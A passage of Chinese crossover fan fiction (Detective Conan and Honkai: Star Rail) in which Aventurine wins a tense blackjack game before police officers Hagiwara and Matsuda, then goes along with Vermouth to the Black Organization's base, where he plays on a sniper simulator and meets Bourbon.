这个人……萩原研二没忍住侧目又打量了一下砂金,这个人的精神状态很有问题啊! 在必然需要强制拿牌、且小阵平目前最高点数为19点的情况下,平局为胜当然可以增加不小的胜率, 但砂金这人很明显就是不要胜率、只想玩把大的,萩原研二感觉对方不像是为了赢而赌、而只是为赌而赌,只能为了 刺激。 甚至是为了追求这种刺激、毫不在意万一自己输了的下场结局。 而连自己都不在意了的犯罪者,也最为难搞,萩原研二思索着,将面前这个年轻的像是“误入歧途”了的“失足”青年的危险程度更往上调了调,并将之列为重点观察对象, 说不定他和小阵平要调查的案子、就与对方有关呢? 听到砂金拒绝,吉野浩太郎便向瘦高个道,“你的意思?” “双……我押双倍的赌金!” 瘦高个没有砂金那么有“魄力”敢押上自己的两只手,最后只能憋着火、咬牙坐回到位置, 吉野浩太郎在一旁“督战”呢,他技不如人、还敢闹事,那匕首马上就能插到他手上! 不过“生死”还未定,瘦高个没退场、继续等着砂金在后面的对赌中输个精光! “商量好了的话,”心下百转千回、面上不显分毫的萩原研二把瘦高个不守规矩掀开的牌剔出去,“那我继续喽?” 五位闲家,两位停牌、两位爆掉,就剩下秃顶的胖子了, 萩原研二发出牌,胖子开牌——4。 “真是好运啊!”胖子乐呵呵地抓了抓头,胖子手上牌现在有红桃3、梅花6、红桃7、以及梅花4, 共计刚刚好20点,一举超过了松田阵平的19点成为了目前的最大牌。 同时也意味着,砂金想“赢”的话,就必须要到21点。 “开牌吧,”砂金含首示意萩原研二继续,已经没有闲家要牌了、接下来是庄家的个人秀。 砂金这个当事人都不慌,萩原研二这个代理的自然也不会自讨没趣,伸出手、又是铮一声将吉野浩太郎钉在桌上的匕首拔出,被剖开一张刀口的牌面翻开, 方片6,6点, 一明一暗,两张牌点数共计8点,萩原研二伸出手按照规矩继续拿牌,下一张是梅花4, 萩原研二翻牌的手一顿,这可就……不妙了啊。 共计12点,还需要继续拿牌……但是,如果想赢、就必须超过胖子的20点,也就拿到21点,即下一张牌只能是9, 但问题也就出在这里。 萩原研二也不知道他这是什么见鬼的手气,一副牌里只有四张9 ,结果前期闲牌要牌的时候已经要出去了三张,剩下的34张牌里,只有一张9了, 三十四分之一的概率, 而十六张T牌,萩原研二只发出去了一张,三十四分之十五的概率当场爆掉。就算下一张有幸拿到点数较小的牌,再次拿牌爆掉的概率只会更大, 一但庄家爆牌,闲家可就赢了, 这下是……真正的“生死局”了。 赌桌上的其他人显然也发现了砂金这尴尬的点数,已经爆牌的瘦高个脸上露出了显而意见的喜色。 会后悔刚刚拒绝“平局视赢”的机会吗,萩原研二扫了砂金一眼,那个危险分子脸上是滴水不露的笑容、跟只狐狸似的,甚至还有闲心冲他眨了眨眼, “呀,情况不容乐观啊,”砂金指间夹着筹码在唇角上点了点,“要来个幸运之吻、添添好运吗?” “庄家先生真会开玩笑,”萩原研二回了个wink,“我相信我们的好运不用再额外加持了,对吧~” 旁观默默降低存在感的松田阵平看着这一幕,心底突然一阵恶寒, 完了, 松田阵平轻轻搓了下手臂、试图把鸡皮疙瘩压下去, 比遇到一只招摇过市、鬼话连篇的狐狸还要可怕的是什么? 答案是,遇到两只狐狸。 第64章 更可怕的是, 其中一只还是他的幼驯染……松田阵平担忧片刻,又放下心, 还好, 警察是个钢饭碗,不用担心萩原研二干到一半被裁员失业、误入歧途,最后和他隔着铁栏杆唱铁窗泪。 想摸牌的萩原研二瞥了松田阵平一眼, 总感觉小阵平在想一些不太礼貌的事。 “快点!别磨磨蹭蹭的了!”瘦高个催促着,他是不相信砂金的运气真的会有那么好, “还是说你在等那个家伙给你发暗号?!” “哎呀,不要冤枉好人啊……”萩原研二倒是想接收信号呢, 但砂金偏偏稳得不动如山。 手指在剩余的牌面上滑动了半天, 就算剁的不是萩原研二的手, 他也不可能真的一点都不紧张啊! 只是这局不正经的Blackjack玩的时间确实有些长了,萩原研二最后只能随便滑出一张、开了牌, 结果是…… —————————— 后来发生的事、其实和萩原研二倒也没了关系, 面如死灰的瘦高个用最后的理智放弃了无用的挣扎、被吉野浩太郎的人带走,牌桌上的其他赌客则叹口气、心疼自己那被庄家带走的筹码, 随着赌局结束和吉野浩太郎的离开,原本安静的赌场又开始热闹起来,开局的开局、押注的押注,打量砂金的人是有、但都收敛了不少,好像各人都回归原位,该做什么做什么去了。 似乎没有人去在意那个瘦高个之后的遭遇,萩原研二垂下头、看了一眼手中的那张黑桃9 ,那张代表着三十四分之一的黑桃9,更加深刻的了解到了那句话的含义, 赌桌上的同情是最不值钱的玩意儿。 “别看了, 朋友,”手中的牌被另一只指节分骨、一看就很灵巧的手抽走,萩原研二听到那家伙说,“我会以为你在很遗憾输的那个人不是我的哦?” 同样灵巧的手,他和小阵平玩得是炸/弹,对方玩的是筹码,也说不上谁比谁更刺激。 萩原研二轻吐出口气,似作无奈地道,“那怎么可能,我俩可是一伙的。” “那就是在同情他喽?”砂金笑着说道,“朋友,听我一句忠告,” “赌徒不值得同情。” 萩原研二有些失笑,虽然知道导致瘦高个落得这个下场并不是他的错,没有他、砂金也会再找别的人来坐庄,但没想到砂金也那么敏锐地察觉到了他那一丁点的不自在, 甚至还过来开导他。 所以萩原研二顺势也就追问道,“如果输的是你,你也会这么说?” 砂金摊了摊那只还长在他身上的手,“不然呢?”他可是标准的赌徒。 “那可不行,”萩原研二摇了下头,神色诚恳的与砂金对视,“像你这么漂亮的大美人要是残缺了,那可是世间的一大损失啊,我可是会心疼而死的。” 砂金眯眯眼,“是吗?” 萩原研二笑嘻嘻,“当然。” 确认过眼神,很好、算是半个“同类”呢。 “嗐,不聊这个了,”砂金揽住萩原研二的肩膀,把人往赌桌前带,“为了感谢朋友的友情出演,这些筹码算我的小小心意、请不用客气的收下吧。” 同时压低的声音也在萩原研二耳边响起,“什么都不做的话,两位就有些太显眼了哦……还是合群一些吧。” 提醒, 这是对他们的提醒,萩原研二看着被砂金展示在面前的一大堆筹码,只是刚刚的那一局、砂金就赢下了全部的赌注,并且分币不收的打算全部送给他。 萩原研二也不客气,“那我就笑纳了。” 接着萩原研二冲松田阵平招了招手,早就打算和萩原研二汇合了的松田阵平见此、大跨步的走过来,又抬手扒开了砂金的胳膊,“勾勾搭搭的像什么样子……” “别介意,”萩原研二解释还不如不解释,“我朋友喜欢吃醋。” 松田阵平一秒炸毛,“哈?!谁喜欢吃醋了——!” 要不是你这个混蛋和那个一看就很危险的人拉扯半天,他会是这个反应吗? ! 砂金噗嗤一声,算是笑回了之前松田阵平笑他的仇了,“我懂我懂。” 松田阵平:“……”不是,你又懂什么了? ! 在这一刻,松田阵平最讨厌的动物是不说人话的狐狸。 …… 随后倒也没发生些别的意外了,只是砂金像个热情的主人家似的,带着萩原研二和松田阵平玩了不少“游戏”, 砂金没怎么上手,最后也算有输有赢、松田阵平数了数筹码,没赢多少、但也没亏,就是不知道这是不是砂金有意为之了, 总之,在砂金的热心引导下,两个人的确比一开始站角落里看戏要更融入得来了。 所以,松田阵平沉思,砂金这么帮他们两个警察……是为了什么? 松田阵平也不笨,只是比萩原研二少了些弯弯绕绕的花花肠子罢了,不可能看不出砂金在帮他们, 生活环境和接受的教育对人的影响是潜移默化、又十分巨大的,能看得出来、砂金对有些赌桌玩法也没有那么熟悉,但砂金一上桌,没有人怀疑砂金不是一个赌徒, 就和砂金与警方联手坑了D一把后,也没人觉得他是个警察一样。 同理,松田阵平外表再凶狠得像个极道大哥、萩原研二再不着调地像个花花公子,俩个人本质上和赌场里的其他人差别也还是很大的, 毕竟松田阵平和萩原研二再刺头,也没刺头到一秒就能完美地融入到不法分子的群体中,不然他们就应该去当卧底、而不是拆弹手, 短时的接触还可以根据他们精湛的演技而遮掩过去,但时间一长、也难保不会被有心人发现问题。 而砂金,正好在替他们隐瞒一些他们可能不太适应和熟悉的地方。 “今天就先玩到这里吧,”砂金看了看表,时间差不多了、他也该走了,“朋友们,那下次有缘再见?” 萩原研二还是那个主动张口的,“不交换个姓名吗,” “下次见面总不能还是一口一个朋友的叫吧?” 第65章 整个过程中, 不知是有意还是无意,松田阵平、萩原研二还有砂金三人都未提及过自身的姓名, 临到分别了, 萩原研二才开口问到这个早应该问了的问题。 “叫我砂金好了, ”见对方问了、砂金也没隐瞒,不过, “两位的名字暂时就不用告诉我了, 等日后再说吧。” 此刻的三人站在赌场后门的巷子口, 虽然来往人流远没有赌场里的多,但……也不是全然安全到可以放心交流的程度, 砂金摆摆手,崭新的黑金色特殊筹码出现在手指间,随后将筹码高高地弹起、弹向对面,很是洒脱地道, “我还是喜欢和朋友坦然相识,其他的……倒也不必多费心了。” 所以以后再见告诉他真名可以,假名就算了吧。 萩原研二伸出手、精准的一握,将那枚像是砂金私人定制的筹码抓到手里,眉头随之一挑,“可砂金这个名字……也不像是真名呢?” 不想他们拿假名忽悠自己,自己却抛个假名出来……这可不够厚道。 “这个怎么说呢……” 砂金不否认自己还有个名字,但是,砂金语意缠绵着好像在说着什么暗示,“真名放着不用、时间久了也就成了假名,假名用的时间久了、也就是真名了, ” “如果没有意外的话,砂金这个名字要一直陪着我,直到入土了呢,”砂金道,“所以你把它当成是我的真名也没有问题。” 卡卡瓦夏陪他而生,砂金之名伴他赴死,一生一死、就这么简简单单。 …… 把玩着砂金送的筹码走出去了老远,已经到了安全区域里的萩原研二突然停下了脚步。 “怎么了, hagi ?”松田阵平今天的眉头皱着就没停过,这时候才终于撂了用来增加气势的黑墨镜问道, 天都要黑了,再戴墨镜就不像极道大哥了、那像傻子。 “砂金……”萩原研二念叨着,“小阵平,你没有觉得…这个名字有点耳熟?”好像最近才在哪里听到过? 听萩原研二这么一说,松田阵平也停了下、开始苦思,“的确是……有些熟悉,但我确定厅里刚批下来的那一大打通缉令里没有这么个人。” 那双特殊的眼睛要是上了通缉令,就和在一堆狗里面找一只猫一样明显,一般人戴美瞳都不会挑这么有特色、还很考验自身长相的款式。 “是从谁嘴巴里听说的吧?”萩原研二也肯定自己是第一次见到砂金, 那么漂亮、过目难忘的一张脸,如果他以前见过,那绝对不会认不出来。 突然,想起了什么的松田阵平和萩原研二面面相觑、异口同声的道,“是班长——!” 前段时间,班长说他收养了的那个小孩儿,好像就叫“砂金”对吧? ! —————————— 目送着两个不知道为什么要潜入到赌场的奇怪人士离开,砂金手指间又多了张扑克牌在不停的翻转把玩。 意外之喜啊…… 今晚最大的幸运不是三十四分之一的黑桃9,而是萩原研二本人。 想着那个半长发男人身上若有若无的基石气息,砂金勾着嘴角往死胡同的小巷里走去,他近身观察过了,基石不在那个男人身上,但还能残留下琥珀王的气息就说明, 就算那个男人本身没有基石,他也长时间的接触过基石,下一枚碎片说不定就在对方身边呢。 交朋友嘛,那当然不是白交的,砂金可不是那种无缘无故就会好心帮助别人的热心市民, 公司准则,琥珀王至上;部门传统,结果大于一切。 砂金不急着处理意外收获到的小惊喜,那两个人肯定是还要到赌场这类场合的,他可以放长线、钓大鱼,慢慢来, 他今日出门的主要目的还在他处。 “叮——!” 小小的扑克牌飞出,纸制的牌面以想象不到的锋利嵌进了一侧的墙壁上,也拦在了一道略显肥胖的身影前。 “多罗碧加那天的卷发女士、咖啡厅的中年男人,路上路过发报的小贩,还有……”砂金依着死胡同的路口,向着里面的人问道,“还有牌桌上的二号赌客先生,” “不知您这么费尽苦心的跟着我,又引我到这里是为了什么呢?” 秃顶的胖子笑了两声,拔下了那张牌,牌面是他最后摸到的那张梅花4,可实际上…… “如果不是不想那么快的下场,”胖子的口中发出了极为违和的魅惑低沉的女性嗓音,手指翻转间、也出现了一张新牌,“原本这张牌才更符合我呢。” 胖子手中的牌是——Q。 也是贝尔摩德原本应该翻开的牌,不过在那时、贝尔摩德手速极快的用梅花4替换了这张牌而已,所以才会出现20点那么极端的点数。 砂金道:“需要我感谢一下您的放过一马吗?” 贝尔摩德能把Q换成4、凑出20点,就代表她也能把Q换成5、凑出砂金必败的21点,所以砂金说贝尔摩德此举是在为难了他过后的“放过一马”。 “你还挺有趣的。” 贝尔摩德悠悠闲闲地晃晃牌,她那可不叫放过一马,如果她真凑了21点出来……贝尔摩德相信,砂金肯定也有反击让她落不着好的能力。 左右不过是讨探一番罢了,撇开组织的任务不谈,贝尔摩德也没打算和砂金把关系搞得太僵。 贝尔摩德和波本同为神秘主义者,最大的不同之处便是,波本神秘得仇家找不到他、而贝尔摩德神秘得找不到她仇家, 除了琴酒那一层次的人知道点贝尔摩德和宫野一家的世仇恩怨之外,明面上、贝尔摩德几乎没有什么仇家,和谁的关系都差不多,没有亲近的、也没有交恶的,游离在组织的最高层之中却像个普通的外人一样, 所以,贝尔摩德不喜欢无缘无故给自己树立些不必要、一时半会还除不尽的敌人,就比如她面前的这个家伙。 于是贝尔摩德干脆开门见山地问道,“波本他……没和你说起过我们吗?” 第66章 波……本? 一个陌生的名词让砂金的脑袋转了起, “你是说……安室那家伙?” 他接触过的人里,还能有多重身份在身的,就只有安室透了吧? “看来是没说过了, ”贝尔摩德了然了,也没在意她当着砂金的面撕了波本的马甲,反正砂金肯定知道安室透不是什么好人的, 最多就是不了解组织这个庞然大物罢了。 贝尔摩德将夹着扑克的手指伸出, “现在了解一下也不晚。” 下一秒, 远处的红点锁在了牌面上——砰! 一声轻响,子弹在消/音/器的作用下穿透了牌面, 留下一个弹洞和一阵摩擦发热的烟气。 是狙击手……砂金就知道她把他引来之后、必定还有后手,这场谈话搞不好就要在自己的身上留下几个窟窿喽, 脑袋里是这么想着的,砂金嘴角是越扬越翘的, “那这位女士,你准备怎么让我深入了解一下呢?” “先陪我去个地方吧,”绑架犯、贝尔摩德很是自然地道,“手机关机,我知道你认识一些实力不错的黑客朋友。” “那你等我一下,”砂金掏出手机,啪啪地打着字。 贝尔摩德凑上前、看向砂金的屏幕,“别想着打暗号找人来救你哦,我们有手段让你找来的朋友们有来无回……” “等等,”狠话放了一半的贝尔摩德眼角微抽,看着砂金敲下的一连串卖萌表情包和只有小女生才喜欢用的颜文字,疑惑地问道,“你这是在干什么?” “出门玩之前的报备啊, ” 砂金面色如常,一点都看不出来一本正经的表象下,是一颗喜欢发表情包撒娇的心,“家里有门禁,见谅见谅。” 贝尔摩德:“……你不是一个人住吗?” “一个人住怎么了?”砂金歪头,也不介意贝尔摩德的注视,“谁规定一个人住就不能有门禁了的?” 贝尔摩德:“……我的意思是,你在给谁报备?那个警察?” 砂金反问,“不然还能是谁?” 现在的年轻人……贝尔摩德叹为观止,她可能是真的年龄大了、不理解现在的年轻人是怎么想的了, 哪家的犯罪分子出门干坏事还要给警察报备的? 她去哪里都从来没通知过那个老头子,更别说用表情包撒娇什么的了,光想想、贝尔摩德都觉得一阵恶寒。 “我原以为,那个警察只是你用来伪装身份的工具,”贝尔摩德拖着在伪装之下显得肥胖的身子走着,“现在这么看,动真感情了?” 发完信息,砂金在贝尔摩德的监督下将手机关机,“我一直都很用心的,朋友……” “包括现在也是,”砂金把手机丢到了贝尔摩德手里,“带我走吧,让我看看你们精心选择的约会圣所长什么样子。” 油嘴滑舌……贝尔摩德轻哼一声,不过并没有把那个警察放在心上, 砂金表现的越是坦然和用心,反而越没有什么可深挖的价值,鬼知道砂金嘴巴里的“真感情”是真是假。 不要说什么“越危险的地方越安全”,真正安全的地方就不应该有危险,如同贝尔摩德和毛利兰以及工藤新一保持的距离一样。 事实上……砂金也想那样的,但没办法,从伊达航捡到他的那天起、他就已经和伊达航的关系绑定了, 砂金又不可能为了伊达航他们一辈子不去赌、不去踏入另一个地带、不去寻找基石、不去触及危险,那是他的生存方式, 卡卡瓦夏总是需要回家的。 所以砂金只能剑走偏锋了, 好在现在看起来效果不错。 没人觉得砂金和伊达航他们之间是认真的,又有公安那边的人帮衬,砂金不用担心伊达航和娜塔莉等人的安全问题。 这也是安室透让伊达航进行保密、暂时装作不知道砂金的小秘密的原因之一, 有伊达航这个隐形的顾虑栓着砂金、砂金至少不至于真把自己丢到大染缸里,把自己染得乌漆嘛黑, 没了伊达航和娜塔莉……不用设想,都知道砂金能胆大妄为到什么地步,安室透不打算给自己制造敌人、给这个社会制造罪犯。 “走吧,小子。”贝尔摩德变回了男腔,带着路,“我们还有得谈呢……” —————————— “你确定要去问吗?” 回到家的松田阵平和萩原研二面对面地坐在沙发上,摆在两人面前的是两人的俩部电话。 “问……吧?”萩原研二也拿不准主意了,“还是不问?” 在发现砂金和班长说过的那个小孩儿重名后,他俩就陷入了一种不知道该不该去找班长核验的纠结之中,毕竟他俩知道搜查一科最近还是挺忙的, 如果不是忙于工作,其实他俩早就该和“大侄子”见上一面了。 “你说,万一是我们误会了还好,”萩原研二托着下巴,一脸愁容,“要是没误会……班长他不得心碎一地?” 松田阵平白了好友一眼,“没有你说得那么夸张吧,我觉得班长他先凶我们俩的概率也挺高的。”偷偷摸摸两个人独自去那么危险的地方调查什么的。 萩原研二脸色更愁了,“小阵平,你说得好像班长一转眼,就看见自家三个娃没有一个省心的似的……” 三个问题孩子,很有自知之明的萩原研二咂舌,班长辛苦了! “不,”松田阵平很认真,“说不定是五个,金发大猩猩和景老板这么长时间都没动静,肯定也没干什么让班长省心的事去了。” 萩原研二:“……” 萩原研二:“……你越说,我越觉得班长可怜了。” “啧,管那么多干什么,”松田阵平很勇地打开了电话,一脚油门踩了过去,“先问了再说之后的事吧!” 滴滴了没两声,电话就被接通了, [喂,萩原……这么晚打电话,是有什么事找我吗? ]伊达航有几分疲惫的声音传来,萩原研二这才发现,松田阵平拿的是他的手机。 萩原研二:……不是,小阵平你怎么这样? ! ……咳咳,松田阵平眼神闪躲,死道友不死贫道,快点问去吧! [萩原? ] “是我!”想到那个可能会打击到对方、但放着不管一定会出大问题的事,萩原研二硬着头皮答道,“小阵平也在!我就是……有些事想问一下你,” “你前段时间说的那个暂时收养了的孩子,是不是有一对很特别的眼睛?” 萩原研二话音落下,伊达航那边沉默了好一阵子,萩原研二和松田阵平对视两眼不知道该怎么继续开口, 这个气氛,绝对有问题! [说吧,]那头的伊达航终于又开口了,语气里明显又低沉了几度,[你们在哪里看到他了? ] 才报备完的砂金怎么都想不到,萩原研二和松田阵平两个人能恩将仇报地给他告了一状。 萩原研二嘀咕了一声, [什么?松田你来说,大点声。 ] 逃不掉的松田阵平视死如归,“在新织组的地下赌场!” …… 另一端的伊达航揉了揉太阳穴,一时半会不知道是先问砂金和萩原、松田他们发生了什么,还是该问松田和萩原两个爆处组的王牌干嘛要去那种地方…… “Wataru?”娜塔莉关切地上前轻轻问了一句,“又要加班了吗……” “没事,”伊达航捂了下话筒,“娜塔莉,如果以后打算要孩子的话,我们就要个女儿吧。” 娜塔莉失笑道,“怎么突然说起这个了?” 伊达航摇摇头、叹气,“男孩子太难带了……” 第67章 “哇——!” 摘掉眼罩后, 砂金十分配合地感叹了一声,“好大啊……” “我来到这个世界后,还是第一次见到这么大的训练基地,真稀罕啊。” 落后几步进入组织地下基地的卡尔瓦多斯脚下一个踉跄,墨镜下的脸表情复杂地看向语气抑扬顿挫,好像是在捧着场,但怎么听、怎么觉得怪怪的黄毛小子。 砂金则把带他来的两人丢在了身后,快步地往一处升降式射击台前走去,边走还边问道, “让我试一试应该不要紧吧……” 说出来可能没人信, 砂金其实很在意自己的“生活质量”, 有条件的情况下, 衣服要穿最贵最舒服的、食物要吃最有营养最健康的,不加班的时间更是注重自己的睡眠问题和身体素质, 还有一间时常使用的专属健身房, 射击便是砂金习惯养成中少有的“健康爱好”,压力大了去泡泡训练场、至少不会被找不到他人的慈玉女士从赌场里提溜出来,而且还能锻炼一定的自保能力。 砂金有在很认真的活着,但这一点都不妨碍他日常玩命——没有条件的时候,例如去哪些艰苦恶劣的地区处理难缠业务之类的,砂金就会将“生活模式”无缝衔接调整成“生存模式”。 而从掉到这个世界开始,砂金确实是好久没正经地摸过枪这个玩意儿了, 和D谈判时的那几枪不算,那只能算是“小赌怡情”, 所以砂金这时不免也有几分技痒。 反正他本身就是个“张扬”的人, 不客气一点也很正常,对吧? “这位朋友, ”砂金朝左眼尾下纹着一只凤尾蝶的棕红发女士打了声招呼,“冒昧问一下,这个要怎么玩的?” 刚准备从机子上下来、就被砂金的自来熟惊了一下的基安蒂:“哈?你这个家伙又是谁?” “不才砂金,不过你们或许对孔雀这个名字更熟悉。”砂金弯弯眼睛答道。 “什么孔雀……” 在基安蒂一头雾水的疑问发出前,沉默寡言、仿若背景板的科恩轻轻捅了自己的搭档一下,小声简单地提示道,“朗姆想招的那个新人。” “原来是你啊!”基安蒂眼睛瞬间亮了,豪爽地伸手拍了拍砂金的肩膀,“好小子,我看好你,多亏了你搅乱了那些缩头乌龟们的场子,我这段时间活干得可爽快多了!” 基安蒂喜欢瞄准猎物、一枪爆头的快感,平日里琴酒可不让她随便出手,说什么还有用还有价值,基安蒂管他什么狗屁价值,杀不了人、见不了血她就不开心, 而经砂金那么一闹,为了清扫组织留下的痕迹、继续隐藏在黑暗里,基安蒂可算是过了一把杀人灭口的瘾了, 这一见到砂金这个“罪魁祸首”,基安蒂还感觉这人、挺不错的! 虽然不知道基安蒂的好感从哪里来,但是…… 砂金:“嗯,不用谢、这位女士?” “叫我基安蒂吧,这家伙是科恩,他不爱说话、不用搭理他,”基安蒂兴致冲冲拉着砂金到操作台前,“你刚刚是想试试这个吧?我来帮你搞!” 免费的便宜不占白不占,砂金也乐呵呵地凑到跟前了,“好啊,那就麻烦朋友了。” “说那么多废话做什么,”基安蒂干脆利落地问道,“你喜欢哪个型号的?一般射程多少……” “我不太清楚,以前也算是个野路子……” 砂金以前玩的都是星际和平公司出品,除了经典左轮、复古步/枪一些娱乐大于实际用途的枪型,其它的砂金说了型号,基安蒂也找不出来。 “那先从50码开始,用我的训练枪,PSG-1……有些沉,你行吗?” 基安蒂打量了下砂金看上去没多少肉的小身子板,不是她看不起砂金,不安瞄准镜和三脚架、光是一把PSG-1狙击步/枪就已经足有8.1公斤重了,没特殊训练过的一般人真耍不动她的枪。 砂金扬扬眉,“小意思。” 基安蒂肆意地笑出了声,“就喜欢你这样的,那来吧!” …… 被无声丢下了的贝尔摩德:……适应性这么好的吗? 从进入基地,到和基安蒂友好地打成一片,共计用时不超过十分钟,其中大半时间还是砂金走路上花的。 贝尔摩德带砂金来基地原是打算来个下马威的,没成想,砂金进了组织和回家了似的,一点没露怯地就跑过去找人“玩”了。 ……贝尔摩德看中的就是这么个跳脱无礼的家伙? !同样被丢下的卡尔瓦多斯嫉妒得要眼红,砂金甚至还敢丢下他的女神不闻不问! “都站在这里干什么?” 打着哈欠、顶着一头乱毛,一看就是最近忙疯了,都没时间打扮自己做精致boy了的波本从组织基地的临时安全屋里出来,正好看见贝尔摩德和卡尔瓦多斯像两尊门神一样站在训练场大门口。 “琴酒来了?”波本似漫不径心地往训练场里扫了一眼,没看见那位带个伏特加做防伪标志的长发杀手, 基安蒂和科恩还是老样子,不是出门杀人,就是在训练场和600码的射程1V1掰头,试图超过那个该死的男人的训练记录……等一下、不对, 灰蓝色的瞳孔一震, 台子上和基安蒂有说有笑、相谈甚欢的那个黄毛是哪来的? ! 波本脸色一秒变得十分难看,扭头看向贝尔摩德,“那个混蛋赌徒怎么在这里?” 安室透知道贝尔摩德去接触了砂金,不过为了减小自身暴露的可能,安室透没和砂金提前通气,他知道以砂金的能力、肯定能处理好贝尔摩德的试探。 但……一觉醒来,发现砂金那个混蛋入侵到组织大本营了,那还真是一件挺恐怖的事——尤其是,安室透每次遇见砂金、好像都很倒霉。 看孔雀很不顺眼的波本不爽地道,“是你把他弄过来的?” “……原本是,” 贝尔摩德从口袋里敲了根女士香烟出来、摆手拒绝了卡尔瓦多斯伸上前的打火机,自己点燃咬在唇间,“现在看,像是他蓄谋已久、专门来蹭设备玩的了。” 第68章 波本:“……” 这都是些什么乱七八糟的事。 想也知道, 贝尔摩德这是在吐槽开玩笑……砂金不可能早就知道组织基地里会有特殊设备的, 就算有八木海帮忙也一样。 八木海是天才, 但天才之外, 仍有鬼才。 八木海有试过入侵组织的信息库和防御网, 但在接触到关键部分的时候就被发现反击了, 对比之下、公安的核心数据库更容易入侵这件事让安室透很是汗颜。 不过八木海也不算一无所获, 从编程习惯和代码风格上, 她认出了组织系统的编程创造者, 游荡在网络之中的拔尖人士之间对彼此多少都有些交际和了解,毕竟对他们而言畅通无阻的网络里、那属于他人的零散几个闭门不让进的房间总是很显眼的。 好消息是那个人不可能再为组织做事了,所以组织才想着招揽itf, 坏消息是安室透也不可能再挖组织的墙角了, 因为那个人叫“泽田弘树”, 是在两年前就已经自杀消失在这个世界上的神童, 那孩子死的时候也才十岁。 八木海能认出对方也是因为当初两人年龄相近, 泽田弘树主动找上过八木海、想和八木海交流一下思想。 可惜的是当年的八木海满脑子都是“找姐姐找姐姐,姐姐在哪里姐姐在哪里”,完全听不懂泽田弘树那对普通孩子而言有些深奥的言论,还被入侵上门的泽田弘树吓得不轻, 所以最后两人只是简单聊了几句,自身都难保的泽田弘树也帮不上八木海什么忙……再后来八木海打听到对方的消息时,就是在报纸的讣告上了。 八木海至今依旧害怕出门与人接触的其中一个原因……也和泽田弘树有关,连泽田弘树那么厉害的人都被别人逼死了,八木海怎么可能不怕,所以就只能把自己藏得更严实了。 …… “别那么严肃嘛, ”贝尔摩德吐出口烟,“你要不要也去玩玩?”她记得波本枪法也挺不错的。 “……算了吧, ”波本揉额,“最近算帐算得都要算成傻瓜脑袋了,我怕我上去后会控制不住地把子弹喂到那混蛋嘴里……” “该死的,就这几天的功夫、我死了整整六个线人,六个啊!!!” 贝尔摩德看出来波本的怨气了、这气得都不顾形象了,于是默默地退后了一步, 对于孔雀干的“好事”,有人欢喜有人愁、但波本肯定不是欢喜的那一个。 —————————— 模拟的微风吹过, 落叶从准星中飘过,抬手微微调了下聚焦、视野随之变得更为清晰,偏瘦消的身体单膝跪伏在台板之上,右臂曲起、手肘支于跪倒在地的那条紧绷的大腿上,枪托抵在手弯处,另一手托起了枪身, 没有使用沉重的三脚架,侧向伸出、呈一个倒V字姿势的另一条腿的踝关节架起了黑亮笔直的枪管,腰身倾伏、静冷的目光透过狙击镜进行着瞄准…… 这是一个标准的跪姿射击。 虚构出来的步行街道上,红框闪动、目标出现,砂金随着系统的提示看向了目标,异色的瞳孔微缩, 那近两米的身影转过头来和身边的金发女性说笑着,赫然便是伊达航和娜塔莉俩人。 哈,又是试探…… 突然感觉玩腻了的砂金手指毫不犹豫地扣下扳机,后坐力带动着身体轻晃、长长的耳饰在几次射击后晃荡着和耳朵的发丝缠在了一起, 子弹正中虚拟人像的眉心,血液四溅……后面的砂金没有再看,不过都是电脑计算机模拟出来的假相罢了。 “550码爆头!”基安蒂挺兴奋地道,“要再试试600码吗?我的稳定极限距离,说不定你也可以!” 只要不是那个男人,基安蒂并不介意别人超过她,多个顶级的狙击手就约等于多个可以合作的搭档——谁让组织这边不给配专属的观察手呢,所以只能狙击手内部合作消化了。 组织里顶尖的狙击手太少了,琴酒是多方面全能型人才、一般担任指挥位,轻易不会架狙;剩下的一个是卧底叛逃了,一个卡尔瓦多斯追着贝尔摩德跑、另一个苏格兰成天和波本绑一起行动, 基安蒂是理解不了那些神神秘秘的家伙有什么好的,最后行动组能干活的就她和科恩两个人, 其他那些才500码子弹就不知道飞哪里去了的垃圾菜鸟,连当个观察手、基安蒂都看不上。 “不了,”砂金直起身、撑了撑弯得有点久了的腰身,把八公斤重的枪放回原处,“再玩下去,有人要等着急了,就先到这里吧。” 他前面几轮射击可没整出来一个“伊达航”和“娜塔莉”,都是随机出现的目标,而有权力在训练场系统里做改动的人,不就那么几个吗? “行,”基安蒂也不拦,她有意无视底下的贝尔摩德也挺久的了,“你是个好苗子,欢迎加入我们行动组!” 砂金笑笑,没接基安蒂的话。 升起的高台在基安蒂的操控下缓缓降落,玩开心了的孔雀终于准备回笼了,又一根香烟快燃到了尽头、贝尔摩德看着砂金朝回走来。 “呦,这不是我们温柔可亲的安室先生吗?”砂金一手理着和头发缠绕在一起了的孔羽耳饰,一边道,“怎么,你这也是被绑架到这里了吗?” 砂金一眼就看见了说着见他就烦、但脚底下很诚实地没挪步的某位黑皮金毛。 不放心砂金的安室透抽抽眼角,“我倒是没看出来你哪点像是被绑架了的。” 贝尔摩德要不打电话找人使了点小手段,砂金还能继续在上面玩呢,谁家被绑架的人质能像砂金这么自在? 砂金一摊手,“你不知道,当时可是还有枪指着我呢,怎么不算是被迫了?” 又是熟悉的茶言茶语,安室透很难想象当初自己是被什么蒙蔽了双眼、竟然会觉得砂金会是个单纯好骗的家伙。 “卡尔瓦多斯,你留在这吧,”用完就丢的贝尔摩德吩咐了一声,“我们去别处聊聊。” “不介意带上我吧,”波本跟着就走,“怎么说也都是熟人,回头看心情、兴许这么温柔可亲的我还能给你收个尸。” “喂!”后面的基安蒂不忘又喊了一嗓子,“那个什么鸟,你离波本他们远点,可别又被哪个情报组的混蛋拐走了!” 情报组的混蛋波本&贝尔摩德:“……” 那个什么鸟的砂金:“……” 波本还是很佩服琴酒的,琴酒的脾气可真好,能忍基安蒂这么久、还没有一枪毙了她。 …… 闹也闹过了,最后当然是要谈到正题了,贝尔摩德带着两人去了间会谈室,安着瞳孔锁的电子门一开一合,波本去吧台后面摸出酒瓶打算给自己调杯酒解解乏——组织里的企业文化,到哪都不少酒喝。 [孔雀,]房间一角的监控器显示灯亮了高,经过特殊处理过、不分男女的机器音在房间内响起,[波本、还有贝尔摩德……很好,大家都到场了。 ] 之前和现在与砂金有过接触的组织高层都在了。 已经卸下了伪装的艳美女性翘褪坐到了沙发上,“亲爱的,请给我也调一杯Manhattan~” Manhattan,曼哈顿鸡尾酒,一款以威士忌做基酒,辅以甜味美思、苦酒的鸡尾酒, 刚好和在场的人挺应景的。 安室透洗了几颗樱桃放在盏里、淋上朗姆做酒浸樱桃备用,同时回答道,“没有黑麦,应该喝得惯波本吧?” 